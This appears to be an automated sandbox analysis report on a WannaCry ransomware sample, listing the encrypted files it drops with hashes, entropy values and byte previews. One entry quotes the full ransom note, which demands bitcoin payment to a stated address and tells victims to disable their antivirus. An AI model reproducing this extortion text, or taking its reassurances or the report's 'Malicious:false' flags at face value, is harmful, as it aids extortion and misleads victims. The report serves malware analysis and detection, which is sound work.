                                    Preview:WANACRY!....q..Q.&`.}u....;.8..fP...3..t.._...g.......f..._.b.#.D..>G.)1..a..(r.B..!....).oU_..%...Z:..k.a.I..a..mY.@)..i;.DU.y.r .q*?....G.0_8.A;.o..y.6K.m..M.e...W....i....-.i.5|..2h..9G_.J.s.d....b..`..~........'@..bYS,......y..X#p7$..4..QgK.c....H.................."8-.(..{E..1.z....cB....\....<..hl.`..H..m.O.D$T..C...W...m.1S,...9j%...K..8.4...#S.2Bm.d.`0&.S....k@,0..>....@1.V..B.y.<.!._..tP.Y...-,.@j6..".R:.edMj......S<z3...P.....)....|....n...K~....\)%.$.....(;.A..W#.'...G..`......e.......P....9$%...rM..z*.9...ns1..C.(....T....i...K.l{.7r]i..6z.R..zl..E...7.i....R'q.y.6G........&.......).".JZC...a..E7g..J....C)h.z\8.....D.5:..r>..D..P.n..*O.V(UT.x.).<$.eM/U.......z........2.2...8..4.~vf.!V.o...c....n.Y....m....q~...A.......@..n$..d.D.....,..}....>.0.W..I.k....e..T1.z_.4.p..k.I......w*.53....T......r.@v..=/.:$8..0...._#.>..o......$..,.Z*.<3f\./.ja.2?..........i.d....l...Wo.......9...VG....*.D.*..W.5.X.h.wlY.w..a..

                                    C:\Users\user\Desktop\GLTYDMDUST.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8281066736506215
                                    Encrypted:false
                                    SSDEEP:24:bkqwsS7Pwn3pbHu1qESq83zsmxRx67ats+JpBzQzpBSqUT1:bkq7yKtvYCRxdW+fq6PT1
                                    MD5:E9197F2A2A784E7AF70B31ED8FC9DA88
                                    SHA1:56C70CFD4971C62D79FAF2AE29AFDBB32B8B1A33
                                    SHA-256:5FFB3521032B4A56162D404839C90A51A7BC6F9553D2D803135A74B612FC60C6
                                    SHA-512:07AC480590B815D44EDE002304143036472B33D7B180D3AB393302A2C4CDA506DCC171BC664926EC19B1FE7E488FFD52C377005DFC0516CB9CCC28AAFBF1E58A
                                    Malicious:false
                                    Preview:WANACRY!....q..Q.&`.}u....;.8..fP...3..t.._...g.......f..._.b.#.D..>G.)1..a..(r.B..!....).oU_..%...Z:..k.a.I..a..mY.@)..i;.DU.y.r .q*?....G.0_8.A;.o..y.6K.m..M.e...W....i....-.i.5|..2h..9G_.J.s.d....b..`..~........'@..bYS,......y..X#p7$..4..QgK.c....H.................."8-.(..{E..1.z....cB....\....<..hl.`..H..m.O.D$T..C...W...m.1S,...9j%...K..8.4...#S.2Bm.d.`0&.S....k@,0..>....@1.V..B.y.<.!._..tP.Y...-,.@j6..".R:.edMj......S<z3...P.....)....|....n...K~....\)%.$.....(;.A..W#.'...G..`......e.......P....9$%...rM..z*.9...ns1..C.(....T....i...K.l{.7r]i..6z.R..zl..E...7.i....R'q.y.6G........&.......).".JZC...a..E7g..J....C)h.z\8.....D.5:..r>..D..P.n..*O.V(UT.x.).<$.eM/U.......z........2.2...8..4.~vf.!V.o...c....n.Y....m....q~...A.......@..n$..d.D.....,..}....>.0.W..I.k....e..T1.z_.4.p..k.I......w*.53....T......r.@v..=/.:$8..0...._#.>..o......$..,.Z*.<3f\./.ja.2?..........i.d....l...Wo.......9...VG....*.D.*..W.5.X.h.wlY.w..a..

                                    C:\Users\user\Desktop\GLTYDMDUST\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Desktop\GLTYDMDUST\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Desktop\GLTYDMDUST\AQRFEVRTGL.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.823640282982658
                                    Encrypted:false
                                    SSDEEP:24:RXJuT0hSF9lImU3gLUd/OSpQzQI/LTLyRNRgh:RZrk+wLUd/OSuzQITTu7Rgh
                                    MD5:5B0ADB577E2DA97A29ED02C7E93DC677
                                    SHA1:03A756009B5898F38D928937613572A0E8B64D2E
                                    SHA-256:CED4380FE7358AB621FF68D375F7BADC4DA57C6C8FA6F1659EF793803D0192AF
                                    SHA-512:FD9DF50846F97EECB905DA08AF56B03263FD49D7C050CF0FAD7694FF8626500F3479C5DCBF0D0A8DC2E03A621021216D43D3ADB09D0C62382D0B905A02F11A0D
                                    Malicious:false
                                    Preview:.pg.@b....H!"....Tb.&._Krt..Y....]_...I..~......u..P@.b.\....../.X.C.Yo..DMA..J.*.L4...=..tBH.O.30......+...W.=S.........mj2.P-..z......&.a..Hh...I..2...D...y~......X...Z'.......<..H..s^.....at.O.....]..0.~.L&(9h#@...`&.k.@...?..h..S1I/o.J..#.54K7...b]kR..M....R. ..SL.c..'..R9...8..`.V.q..,.]HM....U.3V:..fN.<..T...g.%.|=...4..c......C....^..\.....4...&s2.F.nU..9..g..:7...z..N...{Pu"..O..N.P7+.Q...g.@B.U..\`4.1uP..0.z.>.C..=M.S......x...\.Y..?.E.O....uW..p.p.CuM..z\B.,..vR....d........QA...N..;'..r._iW!.hS...".j!.H..\6..Wp.=...z..BV..Q$....n...#.`=.;...G.,.Y.$.v`..G...].......Z.0.D..3.#..C.5._1.}./..B..i=G=.q.g.36v"..g..N...a....!.\uf4....F.y..o.)X....*^.|...RT.Um$...E..;...N..J...y..J..q.>p..%.T...0...kV.K.....W.6<.t!i.2.x.\..a.>.......c31..:...(......>.,.e......u.w..y....".D.7.`.2x..%g....Jt..;...H`.F.m...*jwh...B.|...?.....'y$...od.b.MT..#\<Rq...".1.H.../NC....j$...*..(..Y.Wc.f....3....wz...C.P/..A.......6..Vxw.``K...8.k

                                    C:\Users\user\Desktop\GLTYDMDUST\AQRFEVRTGL.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83367891284583
                                    Encrypted:false
                                    SSDEEP:24:bkC0fKIwGIqgga85zKJ2puTco8NHerBy6JaMpDjVVI4mIFJ:bkFfKvG/7t5+cuTco8UrE6JnVVIb0
                                    MD5:323EA23F9AF4322FA647A2242A65F3D5
                                    SHA1:1C5478B35F198CB81752612A5BBE90D084B8BB68
                                    SHA-256:1F999A39A4193DFF0E2920FD54E39D32C1E69FADE827C610A9A6B8A858266097
                                    SHA-512:0EC108C14054CE9FD4FABB9DA499D52274443DC38A4B2167652EB936CAF6DCA7E9295980AA755399952942FF422ED7E40B8D99E009D4253E94F8A1EFC79D30EF
                                    Malicious:false
                                    Preview:WANACRY!.........)B....Rsiu...X..&..5$......9e..Y..fh........Fk.J.O%P.S.y\....._...,....6@.%I.Q.!...7~....l.;.<.b_#......j>.....A....7F..I=.....Z....t..).!._O.]BH.........%....].XsC.MXF...........U..N......J*.g....C...e......w3.....Pz@..z\.....;.#J............h...CR.G...4.v=.2.&......D%.D...H-QOJ..jf^!...3.).*....B..|..9*_g..)d..`W...28....!../'.....x.`.....mA....R.zK...H....UL......z#..uJ..!1\.A.f{..E.!2.JUn..T....:..<._.Lk./.7VY. .{.c.W...9..K.L...r...6......6.|&.'.z.fC...s.0p4s......6-\.Co......n....yUi...a:.!.}g3......%WJ...A.p..>..V:.. ...Eu..g....c...s...`BA..v[sU....2..KH..^.|_=.r....e.....O..=.!:.7Wk.).:.3.....y...+X..........$.gVU..O..1&9.%.p...0,. .W6.......]......&_9...C...F...-..`....8..h...L.9.#Ic.r"9...u...gF...).....H.@M...P.].-...|..e..P./.f.s.Jw.l.s&KYZ._~".2.l(.;.-2..{..)..M..g......TR..j....l~...x2..7.B3nL..k.P...^...#.<.m.................^.f.;..>..1..}.M..c...^k..%ER..-Y..'.c2_..+c).13..K.$j..._...=.KG..

                                    C:\Users\user\Desktop\GLTYDMDUST\AQRFEVRTGL.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83367891284583
                                    Encrypted:false
                                    SSDEEP:24:bkC0fKIwGIqgga85zKJ2puTco8NHerBy6JaMpDjVVI4mIFJ:bkFfKvG/7t5+cuTco8UrE6JnVVIb0
                                    MD5:323EA23F9AF4322FA647A2242A65F3D5
                                    SHA1:1C5478B35F198CB81752612A5BBE90D084B8BB68
                                    SHA-256:1F999A39A4193DFF0E2920FD54E39D32C1E69FADE827C610A9A6B8A858266097
                                    SHA-512:0EC108C14054CE9FD4FABB9DA499D52274443DC38A4B2167652EB936CAF6DCA7E9295980AA755399952942FF422ED7E40B8D99E009D4253E94F8A1EFC79D30EF
                                    Malicious:false
                                    Preview:WANACRY!.........)B....Rsiu...X..&..5$......9e..Y..fh........Fk.J.O%P.S.y\....._...,....6@.%I.Q.!...7~....l.;.<.b_#......j>.....A....7F..I=.....Z....t..).!._O.]BH.........%....].XsC.MXF...........U..N......J*.g....C...e......w3.....Pz@..z\.....;.#J............h...CR.G...4.v=.2.&......D%.D...H-QOJ..jf^!...3.).*....B..|..9*_g..)d..`W...28....!../'.....x.`.....mA....R.zK...H....UL......z#..uJ..!1\.A.f{..E.!2.JUn..T....:..<._.Lk./.7VY. .{.c.W...9..K.L...r...6......6.|&.'.z.fC...s.0p4s......6-\.Co......n....yUi...a:.!.}g3......%WJ...A.p..>..V:.. ...Eu..g....c...s...`BA..v[sU....2..KH..^.|_=.r....e.....O..=.!:.7Wk.).:.3.....y...+X..........$.gVU..O..1&9.%.p...0,. .W6.......]......&_9...C...F...-..`....8..h...L.9.#Ic.r"9...u...gF...).....H.@M...P.].-...|..e..P./.f.s.Jw.l.s&KYZ._~".2.l(.;.-2..{..)..M..g......TR..j....l~...x2..7.B3nL..k.P...^...#.<.m.................^.f.;..>..1..}.M..c...^k..%ER..-Y..'.c2_..+c).13..K.$j..._...=.KG..

                                    C:\Users\user\Desktop\GLTYDMDUST\GLTYDMDUST.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.77758444056389
                                    Encrypted:false
                                    SSDEEP:24:BI2cB6pT6ujLMV8c8hC0aQXlb9voMLFdZFmp5oD8VL:BXT540hd1lZvoMrHm/fL
                                    MD5:FBBB03E641E023B975C178173F386CB4
                                    SHA1:9FF8A66575F58E9A073109D30DAD6AC147DA9BD5
                                    SHA-256:1096D9482657005A19E857DBE0195795B15F6426A6069A4331691FC674E1BB6B
                                    SHA-512:EDF38EA996A313925DF713690BDB1D0F44BA45A0FF2267DB8F4966CCB0DBD694D6C500E875776215D3C6C42B6DCDF9462E9D346481EA7A9CC9CA99D891793D42
                                    Malicious:false
                                    Preview:l.j..."sG. .\............<z..0..r......Y..z.-..c.:....M..!.<,..@..ni.#.....c(..'|Y1m>...rkM.A.../P...N.-...E...G...AT...tm...FTz/.....0..}.{...4.Ge...f*k.Ej...!.+...%./.h...p...'...dq.R.|....e....wL..<.|_q.S..|..f..h.A..8s.......d5..y\C..:u.0.e.rj.......9.......dW..JW.!.Y^.y,..D%}..\.8..|....k..y>((.`.->.|...J.Xg_......hH...-`+.K........K_..].O.P.~....<.._KY.q..ib..&...}.........?x.PJp3.6:PX...g..hU...bGjuk`|......nb.}.p,......L....\.-.+-...f;yh5...r<.....D>K.=...\W...}^ZM.....j[.._.."@..Z....1..u..)....s5.f/p..s..3.......y"y...p.kI.Q...P..,`...`Bo/!...5..A....b=:....*,C.,...N.........8..X.E!......6y.'...Y.E.y5:Q. (..;..:.c2..W.:.0= %........z...k...\..R.w...._.J:.Y...X.:k.n....g._....\.5oW/I.h...P............._.........j..j.s..,...C.......5...!..E.$..O.>P..J...|..<d:>.e...w..(......T.#.....P.....i..B..Uk5%...4`\w.e.......<..". ..".p.O.]6..u..=_.....9.b...G.Yj..r.+...NXM....0....A.....w~Y........DR..C<..5.U......G....!.F.(a..a}.Q<..33

                                    C:\Users\user\Desktop\GLTYDMDUST\GLTYDMDUST.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842008543591548
                                    Encrypted:false
                                    SSDEEP:24:bkS0u8Ej740d/I6mPY+z7WuLUk1voLPxlicpUAdK/0tg81BfUYNt5daqzSjLWxy:bk+5RI6gVz7XLn1v4PPpnd1BfztmqzSF
                                    MD5:763C4E2AB2758DDF3A5C6A80EFC6E10B
                                    SHA1:4164397D79E53CB84602185A636603FB901C6EE8
                                    SHA-256:193E45F8601A79518F082C386FE460D37DF9A45A70CD5DEA9B8E3ED6E59EF678
                                    SHA-512:5ECFC616CEC6B54762BA5890589BF567A503CA101395D22F8D9B4F49AFBF031F10DF74292569B1426296FDFE606CAE714E6968ADDAD3BB41BA10FEF909FDB9AD
                                    Malicious:false
                                    Preview:WANACRY!....6.A.*....}..K..<)k/....:...9..(.......'Y4.!..$.)V.....F.*R.K..z...N..`.Ztq...%8.lG"+r..j..W..o".Ls.?.W.......vLk.d...O..........Q..,..j7ox..HW.....|....).}e.paMF".f.O....5..C+u.. 8...P7..gB..2..R..+.....C.ZC. wu...0.'4...]..h..f&.GE.. .k.:L..ss..................&....I&/.*^.Z... y.)Z.|2..X....G...!....J&.kgB.*:.UU...C.9(...(B.&-GRo...-.....$R.AXR.%E.T.[.W..h...N&..J..[?}....l...Q..w...../.~...Hp....Z..-.jy.6.Q..UJ.....b.:NB...m.^......NO|^...;'.._3..(.7..Z)(..T..*..>.:\."WK..Y.9i......m............n.g..6=.4.J.........S.A..B.>M.?'.v>.x.$XD$..$mg.],...'&..#.f-...\Ic....&.......]h@..D.5aP.)..G.#..x.u.j#.Q=..1...n.\.k..ZLL.....T6...L...R..1..l_...i.wZE....9....(M.....)r\= ......K..$3.{`.......H..\P!].^...[n6+j{..i>.E/...&.k.....VV%.3Z.N=b...1.c...!J..\,......L...s.......YN...*..y...qn...47..|H.q.8..&...[..J$M.(.@,R..O?...yY....0.].1...3.UXa.5{.E.".60.......?..%B{.......Q.`!.v.u ..A.C.A.\..X_{..`.....Z.4w..l6....}.`.N&.-......&..Cx..1O.$

                                    C:\Users\user\Desktop\GLTYDMDUST\GLTYDMDUST.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842008543591548
                                    Encrypted:false
                                    SSDEEP:24:bkS0u8Ej740d/I6mPY+z7WuLUk1voLPxlicpUAdK/0tg81BfUYNt5daqzSjLWxy:bk+5RI6gVz7XLn1v4PPpnd1BfztmqzSF
                                    MD5:763C4E2AB2758DDF3A5C6A80EFC6E10B
                                    SHA1:4164397D79E53CB84602185A636603FB901C6EE8
                                    SHA-256:193E45F8601A79518F082C386FE460D37DF9A45A70CD5DEA9B8E3ED6E59EF678
                                    SHA-512:5ECFC616CEC6B54762BA5890589BF567A503CA101395D22F8D9B4F49AFBF031F10DF74292569B1426296FDFE606CAE714E6968ADDAD3BB41BA10FEF909FDB9AD
                                    Malicious:false
                                    Preview:WANACRY!....6.A.*....}..K..<)k/....:...9..(.......'Y4.!..$.)V.....F.*R.K..z...N..`.Ztq...%8.lG"+r..j..W..o".Ls.?.W.......vLk.d...O..........Q..,..j7ox..HW.....|....).}e.paMF".f.O....5..C+u.. 8...P7..gB..2..R..+.....C.ZC. wu...0.'4...]..h..f&.GE.. .k.:L..ss..................&....I&/.*^.Z... y.)Z.|2..X....G...!....J&.kgB.*:.UU...C.9(...(B.&-GRo...-.....$R.AXR.%E.T.[.W..h...N&..J..[?}....l...Q..w...../.~...Hp....Z..-.jy.6.Q..UJ.....b.:NB...m.^......NO|^...;'.._3..(.7..Z)(..T..*..>.:\."WK..Y.9i......m............n.g..6=.4.J.........S.A..B.>M.?'.v>.x.$XD$..$mg.],...'&..#.f-...\Ic....&.......]h@..D.5aP.)..G.#..x.u.j#.Q=..1...n.\.k..ZLL.....T6...L...R..1..l_...i.wZE....9....(M.....)r\= ......K..$3.{`.......H..\P!].^...[n6+j{..i>.E/...&.k.....VV%.3Z.N=b...1.c...!J..\,......L...s.......YN...*..y...qn...47..|H.q.8..&...[..J$M.(.@,R..O?...yY....0.].1...3.UXa.5{.E.".60.......?..%B{.......Q.`!.v.u ..A.C.A.\..X_{..`.....Z.4w..l6....}.`.N&.-......&..Cx..1O.$

                                    C:\Users\user\Desktop\GLTYDMDUST\HMPPSXQPQV.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.84424839722815
                                    Encrypted:false
                                    SSDEEP:24:8A6VnVQv5dKI781GnM51CQP9TPy4LZbR55yaaEuI5tpz5:8A+nmRR8sn7QP9T5zCEVbpz5
                                    MD5:F95FB89179B24C90A5FEAF812243AD56
                                    SHA1:7004157E7D50D60010B425BDD256153512E9A73B
                                    SHA-256:31D9FCBE37431677227F28F5A86FE677F5EAB3CEBB006605C622559F755D6206
                                    SHA-512:4722F06D34D4A9DA2084D9BCF3AEA52991F83122F0A5B9D230206ADD2F2394207404AC742701952D4E0C21570E19A759B284C185EF6BCAC4709395451C1A9DFD
                                    Malicious:false
                                    Preview:.N.......[3....2..{..T.........w`......0.l.ve;z..w.|H3..w.rB..R2v.Pc.Gg........V.s...!......h.g............./.;..m...I.K...f.M~..03.:.k....%..._..M.....Q8.]q.!..JM..#.....7RU.c...D.....O...7G..1.."@.G.!.X...7./E...D....-.u..*$.....=.tC.....A.a.@ ..v.b3.)>.w..F.;9V..7I. j..`.q......{..K...m+....~.5....X[k.s.pl...9...b.4.....,.3}....f..gM.=h.v..*.#.#...C.*)f-y.xX..<.<$./..*..-. .Rd.......B$.y...<..f...K..}..C..P.........<@....`{W..}!).j...T.H...*...-.<.at.+./9..7.5.......F.A:..;...._..&..P_.........z+E@....a......N...2}.g.friE.B.. .{[I.VX....}.....+..... 4.[.Pc...~".q.].......+.....]&....D...C.:...""...zb..~N....G.+O..3...\j[...-.......t.Z..Qmc;.u.8..5.CV.>t3@...r..BR.V(EFnWH....2.}..N.&.6...\`'.....j.g........S.....n...n..:,..f...,..Q...5;...a.rHsi......-..X.Jn>...0.....q..w..z..N..6#._.;....Q..4R....s..e..{..YA...~..5i..%~fz..m.^U:.N..8H....F.yJ2.5.x"G)...G.(.j)g.~.u4r...p7|..I5.>9.2\r.E.6G.......~..~......]..=.A..mZ.G......M.d...5..._y[.1

                                    C:\Users\user\Desktop\GLTYDMDUST\HMPPSXQPQV.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854433117215422
                                    Encrypted:false
                                    SSDEEP:24:bk6Wqu0jgV7kzfrCHjoRMtA8N84qnR8HvDECyQVstePSbnUXPGFS6CjGfdl6c4NJ:bk6WdlizfrCHkR8FN5qmHIkstoOPCjGS
                                    MD5:ED2B040443E7DBB4A3154E1EEBAB462F
                                    SHA1:96984C7DB898CE3AD5A9B546287BD704276FFB14
                                    SHA-256:A4BFE30CE79BB3653AE2FBCE65904AF72C3608E2EC544B3641B4891D7D2BC378
                                    SHA-512:D3AF240307A835C121A818F3D7AA958B6DB2573B5BB20F61B28D9FB6778ED529A4E94325D6DF64071B80B30634393C5DB2D52E8ED06C17638EBA493172DA7FF7
                                    Malicious:false
                                    Preview:WANACRY!....Ak.D.............b.* .D!|.v...d+..bA ..$u.kV..qC\r^..N..u..x.6s._qg[^.="....+j....Y.-...r..&~..]..-.....r.>.^>.7l. .Y.h...........}.....\Bq.9g.N}.6......D.......+..>.7Z..bUM...?..=$.....FA(dV...w#...."lN.?...........v...;C..7.rRB..M.Q.B.!).|..+.............?=.Z..,..N}.R......2..om}Kd.....#~.)..Dp.\..v#N..>..N........\P.h.4...)&.J.."...d9.,R;8.O...U...6...@pM.zF.3.F..Q.r..<.{...Q.b2n.'.E..uK...eS....`J...M."._..wN.S......D`..L..1P.h.../#"..H..).aILdd....].:.|..mR.~..0.T..I.b..7$..0..UI.z.....S.c...c=PZ.i.rx..W...]_..Ew.....!..%..U.F[...6..&....._....(...<.@.......*..S.d",f.U..k..1c..mE.64..=./..+.....Q...@..G.M'sr...........*HA5.p...v.1es....CG.jw.=..vD......d...z.)ip......`..bf.Q[..L..YC..p..Dm..w..*.~. ....Gh...#=o.i-....6E..p....r1]8zys\.....:......kd.]uU.P1|....#.H....4.0.k~..1..>?.........<..Mv=......Wwz. 4R..N!F....k...W.'...ti....p._.&...G....b..:oLI`...M.}.K....@.(5.......RD..3.t...T....g.......;...{.]T...Q..BLeQ

                                    C:\Users\user\Desktop\GLTYDMDUST\HMPPSXQPQV.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.854433117215422
                                    Encrypted:false
                                    SSDEEP:24:bk6Wqu0jgV7kzfrCHjoRMtA8N84qnR8HvDECyQVstePSbnUXPGFS6CjGfdl6c4NJ:bk6WdlizfrCHkR8FN5qmHIkstoOPCjGS
                                    MD5:ED2B040443E7DBB4A3154E1EEBAB462F
                                    SHA1:96984C7DB898CE3AD5A9B546287BD704276FFB14
                                    SHA-256:A4BFE30CE79BB3653AE2FBCE65904AF72C3608E2EC544B3641B4891D7D2BC378
                                    SHA-512:D3AF240307A835C121A818F3D7AA958B6DB2573B5BB20F61B28D9FB6778ED529A4E94325D6DF64071B80B30634393C5DB2D52E8ED06C17638EBA493172DA7FF7
                                    Malicious:false
                                    Preview:WANACRY!....Ak.D.............b.* .D!|.v...d+..bA ..$u.kV..qC\r^..N..u..x.6s._qg[^.="....+j....Y.-...r..&~..]..-.....r.>.^>.7l. .Y.h...........}.....\Bq.9g.N}.6......D.......+..>.7Z..bUM...?..=$.....FA(dV...w#...."lN.?...........v...;C..7.rRB..M.Q.B.!).|..+.............?=.Z..,..N}.R......2..om}Kd.....#~.)..Dp.\..v#N..>..N........\P.h.4...)&.J.."...d9.,R;8.O...U...6...@pM.zF.3.F..Q.r..<.{...Q.b2n.'.E..uK...eS....`J...M."._..wN.S......D`..L..1P.h.../#"..H..).aILdd....].:.|..mR.~..0.T..I.b..7$..0..UI.z.....S.c...c=PZ.i.rx..W...]_..Ew.....!..%..U.F[...6..&....._....(...<.@.......*..S.d",f.U..k..1c..mE.64..=./..+.....Q...@..G.M'sr...........*HA5.p...v.1es....CG.jw.=..vD......d...z.)ip......`..bf.Q[..L..YC..p..Dm..w..*.~. ....Gh...#=o.i-....6E..p....r1]8zys\.....:......kd.]uU.P1|....#.H....4.0.k~..1..>?.........<..Mv=......Wwz. 4R..N!F....k...W.'...ti....p._.&...G....b..:oLI`...M.}.K....@.(5.......RD..3.t...T....g.......;...{.]T...Q..BLeQ

                                    C:\Users\user\Desktop\GLTYDMDUST\LFOPODGVOH.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.800106654743138
                                    Encrypted:false
                                    SSDEEP:24:OjLMvD+fXLV2L8H5HfSwZcuQe4SQ+7MAJPIdG:uAbuLV2wHRZcuQe4SdPJAdG
                                    MD5:559C6C178CCE3CEA7C1320E11680239C
                                    SHA1:8A1CB990799557164BD4FA7AA04BEEAA09244B5B
                                    SHA-256:734245D661881318BDAB85B035F6DC13B79B196B3C78FA0029986AFF181F66B0
                                    SHA-512:31F21A3689F1269B78880B14DADEC28AC3137154A26C5E10E74CF1CC4201EE8488817E61AFA606D20F8A9165517BF30F829C9931AE43F6EF09484633ADD9FE76
                                    Malicious:false
                                    Preview:U}..+4.s...._..J.o........3l..o_B.*{...|.x..y.!=F.i........0.kN...L..md..o.~..Hz1.:;...U.v.{$.FX0....5.[.0.....$...q.k...".z...2r..R*..41pc.X(.X..^..jI.(.k....;"%.+...e...n.....4b,}A..!7..."..+y.. <.k....f.....;.."..0..o.[<l.iP4.s......./.....3.u..3............w..K.:......B.u.wF..,.q+..4...R..5+.D.....f..X .t.".$8..%<..1=...q.r..W....!...H[.....F.B.O...e.....K....8a...(.....T.g..b...=...<.....'.}...U.....M.y>....oQ.B.U} .0...p.E....gQ...8.B.....g3/l....ie...H6..".~...{.,..(..C......C..!t......r*sW....~{.|.....".."X..!..$R}....A..$..+.z... /..w...B.N..=.g..T .....?.4.....CM/:..,A&n!.lu...h.{+. ...}E.T.J0.sfd2$..{.|`.hsH.,.|..8.X...N...A..:.N.Al/9..KM...Q..ykg....[..G..xXo.oa.............J+?..-..J....|..S...E9....}g.R3....O9...D.j_M.*Z..A.9!A..._q..:E..U.'.....BWm.}...v.}(.....@....Qw....G7.\.0^6*...p...R.7..n..c`y....?ue....L..E._..C..f&7...I....q&...j<_..;...l..5.F3H....P.V.+.[.U....{hP5..6.kN.$...r.....*..xq.|..L.v......P..l8..T/e..=.

                                    C:\Users\user\Desktop\GLTYDMDUST\LFOPODGVOH.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.834086528628349
                                    Encrypted:false
                                    SSDEEP:24:bkP4hiAd1w4svloWZ2QzgbP2Iss7YnwLP4rZDDTr+N818X6N+Bi:bkP4I/4sviWZ38dbaZDDTr+NC8X+oi
